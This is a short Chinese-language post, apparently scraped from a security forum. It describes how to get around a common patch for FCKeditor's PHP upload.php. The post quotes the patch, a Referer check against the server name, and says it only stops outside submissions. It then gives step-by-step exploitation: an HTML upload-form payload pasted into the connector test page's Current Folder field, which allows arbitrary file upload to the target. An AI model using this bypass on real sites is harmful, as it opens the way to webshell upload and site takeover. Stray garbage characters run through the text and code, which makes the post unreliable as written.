fckeditor 漏洞修复后的二次利用

admin

漏洞文件：editors/fckeditor/editor/filemanager/upload/php/upload.php
网上给出的修复方案是
修复方法，删除FCK编辑器用其他的编辑器
  g  s' Y9 O" h* u1 s5 J或者找到 editors/fckeditor/editor/filemanager/upload/php/upload.php 文件
8 T* a: {' g% t* M/ T在
require(‘config.php’);
" `6 O% |; G" L  Z- r+ p* Lrequire(‘util.php’);
5 C! v& d6 n2 y. v' [+ t的下面添加以下代码—————————–
6 a( r- O8 {( m4 |, d" P//防止外部提交
: W) u: r2 P# `function outsidepost()
7 {7 U" D( u' I3 t6 V{
$servername=$_SERVER['SERVER_NAME'];
/ j* x( u2 c5 s8 Y- h& p$sub_from=@$_SERVER['HTTP_REFERER'];
6 o  D! ?, ^) u1 _# Y: r$sub_len=strlen($servername);
$checkfrom=substr($sub_from,7,$sub_len);
if($checkfrom!=$servername){
' V  M4 f; z/ K# `2 {( I% F3 ~echo(“you don’t outsidepost!”);
/ o7 t* P5 g; @  K6 k5 d+ Eexit;
) ?7 Q0 Y4 D  f}
}
7 I# b1 {  e. Xoutsidepost();
" G8 F( g% s1 a: M" \# o: n防止外部提交，但是没有防止内部提交，
5 d9 Q. A" y% T; \5 B- l) e利用方法：
1,打开 editors/fckeditor/editor/filemanager/browser/default/connectors/test.html
2,在Current Folder 框输入
) e# v: ^- [3 I  x: ^7 v7 G7 X<form id=frmUpload enctype=multipart/form-data action=http://www.url.com/editors/fckeditor/editor/filemanager/upload/php/upload.php?Type=Media method=post>Upload a new file:<br><input type=file name=NewFile size=50><br><input id=btnUpload type=submit value=Upload></form>
- B7 {6 c9 V; q5 f然后 Get Folders and Files 就会出现一个上传表单，即可上传任意文件类型。
& [2 s0 I% i' d* t$ GPS：如果 editors与上传的文件夹设置了403 500 404 权限 利用就无效了。